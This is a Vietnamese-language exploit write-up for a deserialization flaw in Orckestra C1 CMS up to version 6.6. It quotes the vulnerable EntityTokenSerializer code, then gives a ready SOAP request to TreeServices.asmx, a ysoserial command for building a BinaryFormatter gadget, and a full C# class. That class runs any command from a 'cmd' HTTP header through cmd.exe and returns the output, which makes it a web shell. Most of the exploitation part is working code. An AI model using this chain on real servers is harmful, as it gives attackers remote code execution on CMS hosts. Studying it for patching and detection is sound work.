Description
An issue was discovered in Orckestra C1 CMS through 6.6. The EntityTokenSerializer class in Composite.dll is prone to unvalidated deserialization of wrapped BinaryFormatter payloads, leading to arbitrary remote code execution for any low-privilege user.
Từ đoạn mô tả về CVE này ta có một số thông tin về class và file bị dính lỗ hổng. Và version <= 6.6 bị ảnh hưởng.
Đầu tiên cần xác định đoạn code bị lỗi và cách truy cập đến nó để trigger. Từ mô tả trên thì cũng sẽ dễ dàng tìm ra:
Ở đoạn code này sử dụng Reflection để call đến method Deserialize với 1 tham số. Vì sao chỗ này có thể xảy ra lỗi, lợi dụng đoạn này ta sẽ có thể gọi đến method Deser của bất kỳ class nào, và chỉ cần thoả mãn điều kiện static và 1 tham số đầu vào.
Hạn chế duy nhất đối với điều này là cần tham số dưới dạng String. Một Formatter phù hợp sẽ là BinaryFormatter từ Microsoft.Practices.EnterpriseLibrary.Logging.Formatters.BinaryLogFormatter
Và:
Dictionary<string, string> keyValueCollection = StringConversionServices.ParseKeyValueCollection(serializedEntityToken);
string fullName = keyValueCollection.ContainsKey("entityTokenType") && keyValueCollection.ContainsKey("entityToken") && (!includeHashValue || keyValueCollection.ContainsKey("entityTokenHash")) ? StringConversionServices.DeserializeValueString(keyValueCollection["entityTokenType"]) : throw new ArgumentException("Failed to deserialize the value. Is has to be serialized with EntityTokenSerializer.", nameof (serializedEntityToken));
string content = StringConversionServices.DeserializeValueString(keyValueCollection["entityToken"]);
Có nghĩa chúng ta cần:
fullName = Microsoft.Practices.EnterpriseLibrary.Logging.Formatters.BinaryLogFormatter tương đương keyValueCollection["entityTokenType"] = Microsoft.Practices.EnterpriseLibrary.Logging.Formatters.BinaryLogFormatter và keyValueCollection["entityToken"] = payload
Tuy nhiên không đơn giản chỉ input đầu vào, mà ta sẽ gặp một số điều kiện:
_keyValuePairRegExPattern = "\s*(?<Key>[^=\s])\s=\s*(?<IsNull>null|'(?<Value>[^'\\\r\n](\\.[^'\\\r\n]))')\s,\s";
Đến đây vẫn chưa thể biết chỗ nào để có thể control được đoạn lỗi trên.
POST /Composite/services/Tree/TreeServices.asmx HTTP/1.1
Host: localhost
Content-Type: text/xml; charset=utf-8
Content-Length: 106308
Cookie: cookie
SOAPAction: "http://www.composite.net/ns/management/GetMultipleChildren"
<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
<soap:Body>
<GetMultipleChildren xmlns="http://www.composite.net/ns/management">
<clientProviderNameEntityTokenPairs>
<RefreshChildrenParams>
<ProviderName>string</ProviderName>
<EntityToken>payload in here</EntityToken>
<Piggybag>string</Piggybag>
<SearchToken>string</SearchToken>
</RefreshChildrenParams>
</clientProviderNameEntityTokenPairs>
</GetMultipleChildren>
</soap:Body>
</soap:Envelope>
ysoserial.exe -g DataSetOldBehaviourFromFile -f BinaryFormatter -c ".\ExploitClass.cs;dlls\System.dll;dlls\System.Web.dll"
Class ExploitClass.cs:
class E
{
public E()
{
System.Web.HttpContext context = System.Web.HttpContext.Current;
context.Server.ClearError();
context.Response.Clear();
try
{
System.Diagnostics.Process process = new System.Diagnostics.Process();
process.StartInfo.FileName = "cmd.exe";
string cmd = context.Request.Headers["cmd"];
process.StartInfo.Arguments = "/c " + cmd;
process.StartInfo.RedirectStandardOutput = true;
process.StartInfo.RedirectStandardError = true;
process.StartInfo.UseShellExecute = false;
process.Start();
string output = process.StandardOutput.ReadToEnd();
context.Response.Write(output);
} catch (System.Exception) {}
context.Response.Flush();
context.Response.End();
}
}
Echo response: